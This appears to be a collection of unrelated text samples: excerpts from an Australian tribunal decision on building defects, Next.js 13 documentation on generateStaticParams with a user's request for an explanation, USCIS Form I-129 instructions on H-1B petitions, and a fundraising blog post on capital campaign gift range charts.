dated 8 July 2022, the plan for his mother to live in unit 1 was retracted (A140 at [58]), on the basis that his mother was living with his brother. There was no supporting evidence from either the owner’s brother or their mother. That second affidavit, which was sworn only ten days after the first, does not explain why the evidence in the first affidavit was being changed.\n\nIt is to be noted that the second affidavit (dated 8 July 2022) suggested it was not until after the subject building work started (on 25 September 2020) that the owner’s mother began living with his brother. But that evidence was known to the owner at the time he swore his first affidavit (28 June 2022).\n\nIn those circumstances, it appears the second affidavit was used to remove a non-compensable option (the owner’s mother living in unit 1) and leave only the compensable option (unit 1 being rented). It is not necessary to make such a finding but that is a reason for treating the evidence of the owner with caution.\n\nSupport for that view derives from further evidence of the owner in relation to renting unit 1, namely his evidence as to whether that property could be rented without first addressing any defects. In his first affidavit (A33 at [128]), the owner said he had been informed by a real estate agent that the duplex referred to as unit 1 could be rented for between $750 and $770 per week and 11 pages were provided in support of that claim (A120-130), having been obtained from Azeem Khan of Quba Real Estate. In the same paragraph the owner added the sentence:\n\nHowever, because of the numerous defects identified, I have not been able to rent out Unit 1 to date.\n\nThe owner’s second affidavit (A142 at [66]) suggested that, on or about 20 December 2021 when he was inspecting unit 1 for the purpose of preparing his rental appraisal, Mr Khan said words to the effect:\n\nThere are lots of defects. These will need to be fixed up before you get any tenants in.\n\nAgain, it is to be noted that the second affidavit (dated 8 July 2022) gave evidence of what Azeem Khan is alleged to have said on or about 20 December 2021, but that evidence was known to the owner at the time he swore his first affidavit (28 June 2022). Again, there is no explanation as to why the evidence in the second affidavit was not included in the first affidavit.\n\nAgain, what the owner said in his second affidavit sought to strengthen what he said on the topic of renting unit 1 by elevating his view to in his first affidavit to that of a real estate agent in his second affidavit. That evidence in the second affidavit raises the question as to why Azeem Khan did not say that is his rental appraisal and why the owner did not ask him to include that in his rental appraisal, a document obviously prepared after that inspection.\n\nAs Lord Mansfield observed almost 250 years ago, in Blatch v Archer [1774] ER 2; 1 Cowper 63 at 65:\n\nIt is certainly a maxim that all evidence is to be weighed according to the proof which it was in the power of one side to have produced ...\n\nThe Tribunal also considers the evidence of Mr Khan in support of the builder’s case should also be viewed with caution by reason of his non-responsive answers during his cross-examination. It is noted that, while there were consecutive questions where he suggested there was compliance with the stormwater plan then accepted there wasn’t compliance with the plan at A148, that is explained by the fact that there is an earlier plan (A539).\n\nIn these circumstances, the Tribunal is not prepared to make findings based on the uncorroborated evidence of either the owner or Mr Khan, each of whom has a significant financial interest in the outcome of these proceedings. It is preferable to place greater weight on contemporaneous documents.\n\nWork order or money order? It is convenient to first consider whether a work order or a money order should be made. The starting point is the statutory preference for a work order, established by s 48MA of the HBA. It is the Tribunal’s view that a work order should be made for the following reasons.\n\nFirst, in the current environment, where building costs are increasing significantly, often over a short period, to make a money order based on costs assessed by an expert prior to the hearing to compensate an owner for costs incurred after the hearing may well leave the owner out of pocket. However, the effect of a work order in this instance will be that the owner is not out of pocket as the builder will bear the actual cost of rectification.\n\nSecondly, during his oral evidence, the owner indicated he was willing to have the rectification work carried out by another builder with that work being certified by Mr Bournelis and that was obviously also acceptable to the builder.\n\nIt is noted that Mr Sim remained in the hearing room during closing submissions, after his evidence was completed, and was thus present when the proposal that he carry out the rectification work was put to the Tribunal. For the avoidance of doubt, the Tribunal records that its decision to make a work order was influenced by the indication of the builder’s counsel that Mr Sim would be carrying out the rectification work if the Tribunal made a work order.\n\nIf the builder retains someone other than Mr Sim to carry out that work, the owner will no doubt commence renewal proceedings in which a money order is sought instead of a work order.\n\nThirdly, according to the outline submissions for the owner (MFI 1) there are a total of 200 defects with many instances of different estimates by the experts of the time required to carry out the rectification work. Any assessment of those estimates is likely to create a result where the owner receives either too little or too much and the builder either pays too much or too little for at least some of the items of defective work. A work order removes that outcome because the owner bears the cost resulting from the actual hours required.\n\nFourthly, a work order would usually result in the rectification work being carried out either by the same builder who was responsible for the defective work, or another builder whose identity is not known to the owner. Further, that rectification work is sometimes carried out without any inspection on behalf of the owner. Here, the owner will have benefits: (1) knowing who will be carrying out the rectification work, (2) Mr Sim being familiar with the alleged defects), and (3) having that work inspected by the expert retained by the owner.\n\nFifthly, while it is accepted that the relationship between the owner and the builder has broken down, the work order proposed by the builder will not be affected by that breakdown in that the work will be carried out by Mr Sim with inspection by Mr Bournelis.\n\nContested items. Those two words are used to denote the seven items which were pursued during the cross-examination of the experts.\n\nIt is convenient to consider those items before assessing what should be the form of the work order. Various terms were used to distinguish between the two dwellings: the dwelling with the street number 14 was referred to as the dwelling on the left side and as unit 1; the dwelling with the street number 14A was referred to as the dwelling on the right side and as unit 2. The terms unit 1 and unit 2 are used below.\n\nLow e glass. The quotation, upon which the contract was based, specified: “All windows/doors smart low e laminated and tinted (Agreed, need to check tinted options)” (A480 at 3)). The supplier’s certificate indicated that ”Low-E Clear” glass was supplied (A814). In his report, Mr Sim suggested that no tinting was required (A1294). When cross-examined, he accepted that it was possible to have both low e and colour tint, and that low e clear was installed. There was no cross-examination of Mr Bournelis in relation to this item.\n\nIn relation to this item, it is clear there was a failure to provide what was required by the contract and that the reasonable course is to supply and install window tint to all glazed windows and sliding doors rather than to replace the glass.\n\nFeature tiles. The quotation, under the heading “Bathrooms and ensuite”, specified “Bathroom Tiles to the roof (300x6000) mm or (600x600) mm plus statement wall tile (5 sqm) in each bathroom from builder’s rang (Capped to $30 sqm).” (A467) and a picture underneath those words showed a feature tile on the entire wall behind the bath. Further, under the heading “Flooring/tiling & Electricals”, there appeared the words “Every bathroom to have statement Contrast feature wall (capped to 5 sqm each bathroom, Capped to $30 sqm).” Underneath those words appeared three photos of feature tiles, one of round tiles and two of hexagonal tiles.\n\nWhat was, in fact, installed was feature tiles only in the niche of the wall behind the bath (A904 and A1132). There was no evidence in the owner’s case that the feature tiles had a cost within the $30 per sqm cap and the only evidence of the cost of those tiles is that given by Mr Sim during his cross-examination.' -"Next.js 13 Generating Static Params\nThe generateStaticParams server function can be used in combination with dynamic route segments to define the list of route segment parameters that will be statically generated at build time instead of on-demand.\n\nThis replaces getStaticPaths of Next.js 12 with a simplified API. generateStaticParams doesn't require any context parameters. It runs at build time before the corresponding Layouts or Pages are generated. It will not be called again during revalidation (ISR).\n\nThe primary benefit of the generateStaticParams function in it's smart retrieval of data. If content is fetched within the generateStaticParams function using a fetch request, the requests are automatically deduped. This means a fetch request with the same arguments across multiple generateStaticParams, Layouts, and Pages will only be made once, which decreases build times.\n\nGenerating Static Params\nThe generateStaticParams function can be used in combination with dynamic route segments to statically generate routes at build time instead of on-demand at request time.\n\ne.g. app/blog/[slug]/page.tsx\nexport async function generateStaticParams() {\n const posts = await fetch('https://.../posts').then((res) => res.json());\n\n return posts.map((post) => ({\n slug: post.slug,\n }));\n}\n\nThe primary benefit of the generateStaticParams function is its smart retrieval of data. If content is fetched within the generateStaticParams function using a fetch request, the requests are automatically deduplicated. This means a fetch request with the same arguments across multiple generateStaticParams, Layouts, and Pages will only be made once, which decreases build times.\n\n----\n\nDynamic Segments\nWhen you don't know the exact segment names ahead of time and want to create routes from dynamic data, you can use Dynamic Segments that are filled in at request time or prerendered at build time.\n\nConvention\nA Dynamic Segment can be created by wrapping a folder’s name in square brackets: [folderName]. For example, [id] or [slug].\n\nDynamic Segments are passed as the params prop to layout, page, route, and generateMetadata functions.\n\nExample\nFor example, a simple blog could include the following route app/blog/[slug]/page.js where [slug] is the Dynamic Segment for blog posts.\n\napp/blog/[slug]/page.js\nexport default function Page({ params }) {\n return My Post;\n}\n\nRoute Example URL params\napp/blog/[slug]/page.js /blog/a { slug: 'a' }\napp/blog/[slug]/page.js /blog/b { slug: 'b' }\napp/blog/[slug]/page.js /blog/c { slug: 'c' }\nSee the generateStaticParams() page to learn how to generate the params for the segment.\n\nSee the generateStaticParams() page to learn how to generate the params for the segment.\n\nNote: Dynamic Segments are equivalent to Dynamic Routes in the pages directory.\n\nCatch-all Segments\nDynamic Segments can be extended to catch-all subsequent segments by adding an ellipsis inside the brackets [...folderName].\n\nFor example, app/shop/[...slug]/page.js will match /shop/clothes, but also /shop/clothes/tops, /shop/clothes/tops/t-shirts, and so on.\n\nRoute Example URL params\napp/shop/[...slug]/page.js /shop/a { slug: ['a'] }\napp/shop/[...slug]/page.js /shop/a/b { slug: ['a', 'b'] }\napp/shop/[...slug]/page.js /shop/a/b/c { slug: ['a', 'b', 'c'] }\nOptional Catch-all Segments\nCatch-all Segments can be made optional by including the parameter in double square brackets: [[...folderName]].\n\nFor example, app/shop/[[...slug]]/page.js will also match /shop, in addition to /shop/clothes, /shop/clothes/tops, /shop/clothes/tops/t-shirts.\n\nThe difference between catch-all and optional catch-all segments is that with optional, the route without the parameter is also matched (/shop in the example above).\n\nRoute Example URL params\napp/shop/[[...slug]]/page.js /shop {}\napp/shop/[[...slug]]/page.js /shop/a { slug: ['a'] }\napp/shop/[[...slug]]/page.js /shop/a/b { slug: ['a', 'b'] }\napp/shop/[[...slug]]/page.js /shop/a/b/c { slug: ['a', 'b', 'c'] }\nTypeScript\nWhen using TypeScript, you can add types for params depending on your configured route segment.\n\napp/blog/[slug]/page.tsx\nexport default function Page({\n params,\n}: {\n params: { slug: string };\n}) {\n return My Page\n=======\n\n;\n}\nRoute params Type Definition\napp/blog/[slug]/page.js { slug: string }\napp/shop/[...slug]/page.js { slug: string[] }\napp/[categoryId]/[itemId]/page.js { categoryId: string, itemId: string }\n\n----\n\ngenerateStaticParams\nThe generateStaticParams function can be used in combination with dynamic route segments to statically generate routes at build time instead of on-demand at request time.\n\napp/blog/[slug]/page.js\n\n// Return a list of `params` to populate the [slug] dynamic segment\nexport async function generateStaticParams() {\n const posts = await fetch('https://.../posts').then((res) => res.json());\n\n return posts.map((post) => ({\n slug: post.slug,\n }));\n}\n\n// Multiple versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\nexport default function Page({ params }: { params: { slug: string } }) {\n const { slug } = params;\n // ...\n}\n\nGood to know\n\nYou can use the dynamicParams segment config option to control what happens when a dynamic segment is visited that was not generated with generateStaticParams.\nDuring next dev, generateStaticParams will be called when you navigate to a route.\nDuring next build, generateStaticParams runs before the corresponding Layouts or Pages are generated.\nDuring revalidation (ISR), generateStaticParams will not be called again.\nAPI Reference\nParameters\noptions.params (optional)\n\nIf multiple dynamic segments in a route use generateStaticParams, the child generateStaticParams function is executed once for each set of params the parent generates.\n\nThe params object contains the populated params from the parent generateStaticParams, which can be used to generate the params in a child segment.\n\nReturns\ngenerateStaticParams should return an array of objects where each object represents the populated dynamic segments of a single route.\n\nEach property in the object is a dynamic segment to be filled in for the route.\nThe properties name is the segment's name, and the properties value is what that segment should be filled in with.\nExample Route generateStaticParams Return Type\n/product/[id] { id: string }[]\n/products/[category]/[product] { category: string, product: string }[]\n/products/[...slug] { slug: string[] }[]\nSingle Dynamic Segment\napp/product/[id].tsx\nexport function generateStaticParams() {\n return [\n { id: '1' },\n { id: '2' },\n { id: '3' },\n ];\n}\n\n// Three versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\n// - /product/1\n// - /product/2\n// - /product/3\nexport default function Page({ params }: { params: { id: string } }) {\n const { id } = params;\n // ...\n}\nMultiple Dynamic Segments\napp/products/[category]/[product].tsx\nexport function generateStaticParams() {\n return [\n { category: 'a', product: '1' },\n { category: 'b', product: '2' },\n { category: 'c', product: '3' },\n ];\n}\n// Three versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\n// - /product/a/1\n// - /product/b/2\n// - /product/c/3\nexport default function Page({\n params,\n}: {\n params: { category: string; product: string };\n}) {\n const { category, product } = params;\n // ...\n}\nCatch-all Dynamic Segment\napp/products/[...slug].tsx\nexport function generateStaticParams() {\n return [\n { slug: ['a', '1'] },\n { slug: ['b', '2'] },\n { slug: ['c', '3'] },\n ];\n}\n// Three versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\n// - /product/a/1\n// - /product/b/2\n// - /product/c/3\nexport default function Page({\n params,\n}: {\n params: { slug: string[] };\n}) {\n const { slug } = params;\n // ...\n}\nExamples\nMultiple Dynamic Segments in a Route\nYou can generate params for dynamic segments above the current layout or page, but not below. For example, given the app/products/[category]/[product] route:\n\napp/products/[category]/[product]/page.js can generate params for both [category] and [product].\napp/products/[category]/layout.js can only generate params for [category].\nThere are two approaches to generating params for a route with multiple dynamic segments:\n\nGenerate params from the bottom up\nGenerate multiple dynamic segments from the child route segment.\n\napp/products/[category]/[product]/page.tsx\n// Generate segments for both [category] and [product]\nexport async function generateStaticParams() {\n const products = await fetch('https://.../products').then((res) =>\n res.json(),\n );\n\n return products.map((product) => ({\n category: product.category.slug,\n product: product.id,\n }));\n}\n\nexport default function Page({\n params,\n}: {\n params: { category: string; product: string };\n}) {\n // ...\n}\nGenerate params from the top down\nGenerate the parent segments first and use the result to generate the child segments.\n\napp/products/[category]/layout.tsx\n// Generate segments for [category]\nexport async function generateStaticParams() {\n const products = await fetch('https://.../products').then((res) =>\n res.json(),\n );\n\n return products.map((product) => ({\n category: product.category.slug,\n }));\n}\n\nexport default function Layout({\n params,\n}: {\n params: { category: string };\n}) {\n // ...\n}\nA child route segment's generateStaticParams function is executed once for each segment a parent generateStaticParams generates.\n\nThe child generateStaticParams function can use the params returned from the parent generateStaticParams function to dynamically generate its own segments.\n\napp/products/[category]/[product]/page.tsx\n// Generate segments for [product] using the `params` passed from\n// the parent segment's `generateStaticParams` function\nexport async function generateStaticParams({\n params: { category },\n}: {\n params: { category: string };\n}) {\n const products = await fetch(\n `https://.../products?category=${category}`,\n ).then((res) => res.json());\n\n return products.map((product) => ({\n product: product.id,\n }));\n}\n\nexport default function Page({ params }: { params: { category: string } }) {\n // ...\n}\n\n----\n\nI am just a beginer in Next.js 13.2. Help me understand generating static params. Explain using examples using TypeScript for better understanding. Please ask any clarifying questions before we get started with understanding it." -'. A crewman (D);\n4. A fiancé(e) (K-1) or his or her dependent (K-2);\n5. A spouse of a U.S. citizen (K-3) or his or her dependent (K-4);\n6. A J-1 exchange visitor who was admitted in J-1 status for the purpose of receiving graduate medical training;\n7. A J-1 exchange visitor subject to the foreign residence requirement who has not received a waiver of that requirement;\nand\n8. An M-1 student to an H classification, if training received as an M-1 helped him or her qualify for H classification.\nPart 1. Petition Always Required\nThe following classifications always require a petition.\nThe initial evidence listed below and the initial evidence listed under the instructions for a change of status or extension of\nstay must be included with a petition for a new or concurrent employment or for an extension where there is a change in\npreviously approved employment.\nHowever, a petition for extension based on unchanged, previously approved employment should only be filed with the\ninitial evidence required in the extension of stay instructions.\nE-2 CNMI\nAn E-2 CNMI investor is an alien who seeks to enter or remain in the Commonwealth of the Northern Mariana\nIslands (CNMI) in order to maintain an investment in the CNMI that was approved by the CNMI government\nprior to November 28, 2009. An E-2 CNMI investor classification is specifically limited to an alien investor who\nhas previously been granted a qualifying long term investor status under the laws of the CNMI. This classification\nallows an eligible alien to be lawfully present in the CNMI in order to maintain the investment during the\ntransition period from CNMI to Federal immigration law. An investor’s nationality is not a qualifying factor in the\nissuance of an E-2 CNMI investor classification.\nThis classification expires on December 31, 2029\nA petition for the initial issuance of an E-2 CNMI investor classification must be filed within 2 years of the date the E-2\nCNMI investor classification became available, which was January 18, 2011. Petitions for the initial issuance of the E-2\nCNMI filed after January 18, 2013 will be rejected.\nRequests for extension of the E-2 CNMI investor classification may be granted, in increments of not more than 2 years,\nuntil December 31, 2029.\nApplications for the dependents of E-2 CNMI investors must be filed on Form I-539, Application to Extend/Change\nNonimmigrant Status.\nWrite E-2C in the classification block.\nThe petition must be filed with documentary evidence of:\n1. Continuous maintenance of the terms and conditions of E-2 CNMI investor nonimmigrant status;\n2. Physical presence in the CNMI at the time of filing of the extension of stay request; and\n3. The fact that the beneficiary will not leave during the pendency of the extension of stay request.\nH-1B Nonimmigrants (Three Types)\nThe H-1B classification is for aliens coming to the United States temporarily to perform services in a specialty\noccupation.\nWrite H-1B in the classification block.\nForm I-129 Instructions 11/02/22 Page 8 of 30\nA specialty occupation is one that requires the theoretical and practical application of a body of highly specialized\nknowledge to fully perform the occupation and requires the attainment of a bachelor’s or higher degree in a specific\nspecialty, or its equivalent, as a minimum for entry into the occupation in the United States.\nThe petition must be filed by a U.S. employer or a U.S. agent and must be filed with:\n1. Evidence that a labor condition application (LCA) has been certified by the U.S. Department of Labor;\n2. Evidence showing that the proposed employment qualifies as a specialty occupation;\n3. Evidence showing that the beneficiary has the required degree by submitting either:\nA. A copy of the beneficiary’s U.S. bachelor’s or higher degree as required by the specialty occupation;\nB. A copy of a foreign degree and evidence that it is equivalent to the U.S. degree; or\nC. Evidence of education, specialized training, and/or progressively responsible experience that is equivalent to the\nrequired U.S. degree.\n4. A copy of any required license or other official permission to practice the occupation in the state of intended\nemployment; and\n5. A copy of any written contract between the petitioner and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed.\n6. If you are filing an H-1B cap petition for a fiscal year that H-1B registration is required, you must provide a valid\nBeneficiary Confirmation Number for the beneficiary included in this petition, along with a copy of the H-1B\nRegistration Selection Notice.\nNOTE: This evidence requirement is not applicable to H-1B2 petitions.\n7. Off-site Assignment of H-1B Beneficiaries: Petitioners seeking to place the H-1B beneficiary off-site at a location\nother than their own location must answer general questions regarding this assignment in Part 5., Basic Information\nAbout the Proposed Employment and Employer. Petitioners should advise the H-1B beneficiary of the off-site\nwork placement.\nAn H-1B cap-subject petition (including a petition eligible for the advanced degree exemption) only will be accepted for\nfiling if the underlying registration (or the petition itself, if the registration requirement is suspended) is selected toward\nthe annual numerical allocations. When applicable, registrations (or petitions) will be ranked and selected based on\nthe Occupational Employment Survey (OES) wage level that the beneficiary’s proffered wage equals or exceeds for the\nrelevant Standard Occupational Classification (SOC) code in their area(s) of intended employment. Therefore, in the\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement, Item Number 11., you must specify the\nhighest OES wage level that the beneficiary’s proffered wage equals or exceeds for the relevant SOC code in the area(s)\nof intended employment. The OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES\nwage level as of the date that the registration underlying the petition was submitted. However, if the registration process\nis suspended, the OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES wage level\nas of the date that the petition is filed.\nThe proffered wage is the wage that you intend to pay the beneficiary as indicated on the petition. The SOC code and\narea(s) of intended employment should be indicated on the LCA filed with the petition.\nNOTE: If the beneficiary will work in multiple locations, or in multiple positions if you are filing the petition as an agent,\nyou must select the lowest corresponding OES wage level that the proffered wage will equal or exceed. If the proffered\nwage is expressed as a range, you must select the OES wage level based on the lowest wage in the range. If you are\nrelying on a prevailing wage that is not based on the OES survey, and the proffered wage is less than the corresponding\nlevel I OES wage, you must select the “Wage Level I and below” box. You may not lower the proffered wage listed on the\npetition to an amount that would be equivalent to a lower wage level than the wage level reflected on the selected H-1B\nregistration. If the relevant SOC code does not have current OES prevailing wage information available, you should\nfollow U.S. Department of Labor guidance on prevailing wage determinations to determine which OES wage level to\nselect.\nThe H-1B classification is also for aliens coming to the United States to perform services of an exceptional nature\nrelating to a cooperative research and development project administered by the U.S. Department of Defense\n(DOD).\nForm I-129 Instructions 11/02/22 Page 9 of 30\nWrite H-1B2 in the classification requested block.\nA U.S. employer or U.S. agent may file the petition.\nThe petition must be filed with:\n1. A description of the proposed employment;\n2. Evidence that the services and project meet the above conditions;\n3. A statement listing the names of aliens who are currently or have been employed on the project within the past year,\nalong with their dates of employment;\n4. Evidence that the beneficiary holds a bachelor’s or higher degree or its equivalent in the field of employment; and\n5. A verification letter from the DOD project manager. Details about the specific project are not required.\nThe H-1B classification is also for aliens of distinguished merit and ability in the field of fashion modeling.\nWrite H-1B3 in the classification block.\nThe petition must be filed by a U.S. employer or U.S. agent. The petitioner must submit evidence that establishes the\nbeneficiary will perform services at events or productions of a distinguished reputation. Such evidence includes:\n1. Documentary evidence (such as certifications, affidavits, and reviews) to establish the beneficiary is a fashion model\nof distinguished merit and ability. Any affidavits submitted by present or former employers or recognized experts\nmust set forth their expertise of the affiant and the manner in which the affiant acquired such information; and\n2. Copies of any written contracts between the petitioner and the beneficiary or, if there is no written agreement, a\nsummary of the terms of the oral agreement under which the beneficiary will be employed.\nGeneral H-1B Requirements\nThree relevant laws impacting the filing of H-1B and/or L visa petitions; include:\n1. The American Competitiveness and Workforce Improvement Act (ACWIA), Public Law 105-277 (signed into\nlaw on October 21, 1998);\n2. The H-1B Visa Reform Act of 2004 (signed into law on December 8, 2004); and\n3. Public Law 114-113 (signed into law on December 18, 2005).\nBecause of ACWIA, H-1B and H-1B1 free trade nonimmigrant petitioners must complete the H-1B Data Collection and\nFiling Fee Exemption Supplement, which is part of this petition. We use this supplement (formerly issued separately as\nForm I-129W) to collect additional information about the H-1B nonimmigrant workers and the H-1B petitioners, and to\ndetermine the applicability of fees mandated by ACWIA (INA section 214(c)(9)), the H-1B1 Visa Reform Act of 2004\n(INA section 214(c)(12)), and Public Law 114-113.\nA petitioner seeking initial approval of H-1B or L nonimmigrant status for a beneficiary, or seeking approval to employ an\nH-1B or L nonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and\nDetection fee. This fee does not apply to H-1B1 petitions. The Form I-129 will serve as the vehicle for collection of the\n$500 fee.\nThose petitioners required to submit the $500 Fraud Prevention and Detection fee are also required to submit either an\nadditional $4,000 (H-1B) or $4,500 (L-1) fee mandated by Public Law 114-113, if:\n1. The petitioner employs 50 or more individuals in the United States;\n2. More than 50 percent of those employees are in H-1B or L-1A or L-1B nonimmigrant status; and\n3. The petition is filed on or after December 18, 2015.\nThe Fraud Prevention and Detection Fee and Public Law 114-113 Fee, when applicable, may not be waived. Each\nfee should be submitted by separate check or money order.\nTo determine if they are subject to any of these fees, petitioners must complete the H-1B and H1B1 Data Collection and\nFiling Fee Exemption Supplement discussed below.\nForm I-129 Instructions 11/02/22 Page 10 of 30\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement\nA U.S. employer or U.S. agent who seek to place a beneficiary in H-1B classification (including H-1B1 classification for\nfree trade aliens from Chile and Singapore) must file this supplement.\nThe supplement is used to:\n1. Collect additional information about the H-1B employer and beneficiary; and\n2. Determine the appropriate American Competitiveness and Workforce Improvement Act (ACWIA) fee. The ACWIA\nFee is a training fee meant to fund the training of U.S. workers. But if the employer has 25 or fewer full-time\nemployees, they must pay only one-half of the required fee at INA 214(c)(9)(B). This supplement also helps to\ndetermine whether the beneficiary is subject to the H-1B numerical limitation (also known as the H-1B Cap). Please\nnote that the ACWIA fee may not be assessed to the beneficiary.\nWho is required to submit this supplement?\nA U.S. employer or U.S. agent seeking to classify a beneficiary as an H-1B or H-1B1 Free Trade Nonimmigrant worker\nmust file this supplement with the Form I-129 and the appropriate fee. (See What is the Filing Fee, for more information\nabout the appropriate fee.)\nCompleting Section 1. of the H-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement Form\nAll petitioners who seek to classify a beneficiary as an H-1B or H-1B1 free trade nonimmigrant worker must answer every\nquestion in Item Number 1. of Section 1., General Information. Guidance on how to answer these questions follows.\n1. H-1B dependent employer. An “H-1B dependent employer” is an employer that:\nA. Has 25 or fewer full-time-equivalent employees who are employed in the United States and employs more than\nseven H-1B nonimmigrants;\nB. Has at least 26 but not more than 50 full-time-equivalent employees who are employed in the United States and\nemploys more than 12 H-1B nonimmigrants; or\nC. Has at least 51 full-time equivalent employees who are employed in the United States and employs H-1B\nnonimmigrants in a number that is equal to at least 15 percent of the number of such full-time-equivalent\nemployees.\n2. Willful violators. A willful violator is an employer whom the U.S. Secretary of Labor has found, after notice and\nopportunity for a hearing, to have willfully failed to meet a condition of the labor condition application described in\nsection 212(n) of the Immigration and Nationality Act.\n3. Exempt H-1B nonimmigrant. An “exempt H-1B nonimmigrant” is an H-1B nonimmigrant who:\nA. Receives wages (including cash bonuses and similar compensation) at an annual rate equal to at least $60,000; or\nB. Has attained a master’s degree or higher (or its equivalent) in a specialty related to the intended employment.\n4. Highest level of formal education. In Item Number 2. of Section 1., place an “X” in the appropriate box that most\nclosely reflects the highest level of formal education the beneficiary has attained.\n5. Major/primary field of study. Use the beneficiary’s degree transcripts to determine the primary field of study. DO\nNOT consider work experience to determine the beneficiary’s major field of study.\n6. Master’s or higher degree from a U.S. institution of higher education. Indicate whether or not the beneficiary has\nearned a master’s or higher degree from a U.S. institution of higher education, as defined in 20 U.S.C. section 1001(a).\n7. Rate of pay per year. The “rate of pay’’ is the salary or wages paid to the beneficiary. Salary or wages must be\nexpressed in an annual full-time amount and do not include non-cash compensation or benefits. For example, an\nH-1B worker is to be paid $6,500 per month for a 4-month period and also provided separately a health benefits\npackage and transportation during the 4-month period. The yearly rate of pay if he or she were working for a full year\nwould be 12 times the monthly rate, or $78,000. This amount does not include health benefits or transportation costs.\nThe figure $78,000 should be entered on this form as the rate of pay.' -'[If I had to pick the most important of resources to lead you through a successful capital campaign, it would be the gift range chart. You may also know it as a gift table.\n\nIn this post, you’ll learn the basics of Gift Range Charts and discover the related tools that will help create a plan for your campaign.\n\nQuick Links — Click on any of the links below to jump ahead and learn the essentials about Gift Range Charts:\n\nCapital Campaign Gift Range Chart: An Overview\nCreating Your Capital Campaign Gift Range Chart\nGoing Beyond the Gift Range Chart\nTools to Create Your Capital Campaign Gift Range Chart\nConclusion: Making Sense of Your Campaign\nRead on and learn about how Gift Range Charts (also known as gift tables) are created and used.\n\nAlready know you want hands-on guidance developing your gift range chart? Request a free strategy session today!\n\nCapital Campaign Gift Range Chart: An Overview\n\nCapital Campaign Gift Range Chart: An Overview\nIf you’ve been through a capital campaign before, you are likely familiar with this important tool. If you use this tool correctly, you’ll be well on your way to leading a successful campaign.\n\nWHAT IS A GIFT RANGE CHART?\nA Gift Range Chart provides a framework for the number of gifts, at each gift amount, that you’ll need for a successful campaign.\n\nThe Gift Range Chart is the primary tool for your campaign because it will clarify your campaign goal and help you determine your chances for success at a specific goal amount. But the right Gift Range Chart for your campaign will become the backbone of your campaign in many other ways as well.\n\nA Gift Range Chart will enable you to:\n\nSort your donors by ask amounts\nEstablish the pattern of gifts you’ll need for your campaign\nCreate a strategic order for soliciting gifts\nProvide a logical approach to quantifying the number of prospects you’ll need for your campaign\nHelp your board understand what campaign success is going to take\nShow your top donors where their gifts will fit into the campaign\nTrack and report on your campaign progress\nDevelop a rational plan for donor communication, recognition and naming opportunities\nSAMPLE GIFT RANGE CHART\nYou’ll find several tools to help create your Gift Range Chart in the “Pre-Campaign Planning” section of the Capital Campaign Toolkit. Here’s a sample Gift Range Chart to use as a reference:\n\nSample Gift Range Chart for a Capital Campaign\n\nCreating Your Capital Campaign Gift Range Chart\n\nCreating Your Capital Campaign Gift Range Chart\nIn the sample Gift Range Chart in the preceding section, you can see that the top gift is 20% of the campaign goal. And, the first seven gifts take you to $1.4 million — more than halfway toward the goal.\n\nThe top group of 15 gifts take you to $1.8 million, or 72% — nearly three-quarters of the way to the campaign goal.\n\nThis pattern, showing a few gifts accounting for a large proportion of the campaign goal, is common for capital campaigns. In most campaigns, the top gift is 20% or 25% of the campaign goal. In some cases, it’s even higher. In fact, only 10 gifts account for at least half the goal in the vast majority of capital campaigns.\n\nOn the other hand, you can see that the remaining gifts — those of $25,000 or less account for less than 30% of the goal.\n\nOf course, the amounts on this chart are for example only. One standard pattern does not work for every campaign. Your Gift Range Chart will have to reflect the size of your donor base. The smaller your donor base, the larger the gifts in the top of the chart will have to be.\n\n7 TIPS TO CREATE YOUR GIFT RANGE CHART\nHere are seven tips that will help you create a Gift Range Chart for your organization.\n\nBuild your gift chart by starting with the top gift which should be at least 20% of your campaign goal.\nThen work down, increasing the number of gifts as the size of the gifts goes down.\nThe number of gifts in the first column should increase in a rational pattern as the size of the gifts decreases.\nThe gift amounts should be simple and standard to reflect a generic pattern rather than specific gifts you may already have in.\nYou will need 2, 3 or even 4 times the number of prospects than the number of gifts. The prospect multiplier depends on how well you know your donors.\nThe total number of prospects you show in your chart should be no larger than the number of qualified prospects you have in your donor base.\nIf when you get to the bottom of your chart, you find that you need more prospects than you have, go to the top and increase the number of gifts at the top.\nWant one-on-one guidance to help create your campaign’s gift range chart? Just reach out—we’ll be happy to help!\n\nGoing Beyond the Gift Range Chart\n\nGoing Beyond the Gift Range Chart\nThe Gift Range Chart will serve as a roadmap for your campaign. You will use a Depth Chart to add prospect names to each giving level you have decided on in your Gift Range Chart.\n\nFROM GIFT RANGE CHART TO DEPTH CHART\nOnce you’ve created a Gift Range Chart for your campaign, you’ll develop a “Depth Chart” which will attach specific prospective donor names to each gift required for a successful campaign.\n\nSimply take each of the top giving levels and use them as column headers. In each header, indicate how many gifts you will need at that level and how many prospects that will require:\n\nCapital Campaign Depth Chart\n\nNext, start filling out the names of people you can credibly ask for a gift at that level for your campaign. Sorting your donors into columns is done by evaluating their current giving, their potential to give, and their likely inclination.\n\nAs you fill out the Depth Chart, you will clearly see where you have enough qualified prospective donors and where you fall short. If you don’t have any prospect names for the top three levels, you probably need to go back to the drawing board and reduce your campaign goal.\n\nOnce your depth chart has been filled in, you will use it to organize the order of solicitation. You’ll prioritize the top donors to solicit first and then gradually work down to the smaller gifts as laid out on the depth chart.\n\nUSING THE GIFT RANGE CHART TO SOLICIT GIFTS\nOnce you have your depth chart and you start talking to your donors about making gifts to the campaign, you will once again find the gift range chart to be helpful. You should always include a copy of the gift range chart in the materials you take to your donors. When you show it to them, they will be able to see where they might fit in the community of donors. While a donor’s ability to make a gift is important, most donors like to know where their gift fits.\n\nSome donors want to be lead donors. And your chart will show them what that gift would be. Others might not want to be the lead donor but would like to make a significant gift to the campaign. Again, looking at the gift range chart will help them understand the range of giving and where they might place themselves in the community of donors.\n\nTRACKING CAMPAIGN PROGRESS WITH THE GIFT RANGE CHART\nGift range charts have a way of making the essence of a capital campaign clear. So, as gifts come in, you will check them off on your gift range chart. Gradually, as your campaign moves forward, you will see graphically, in a simple way, 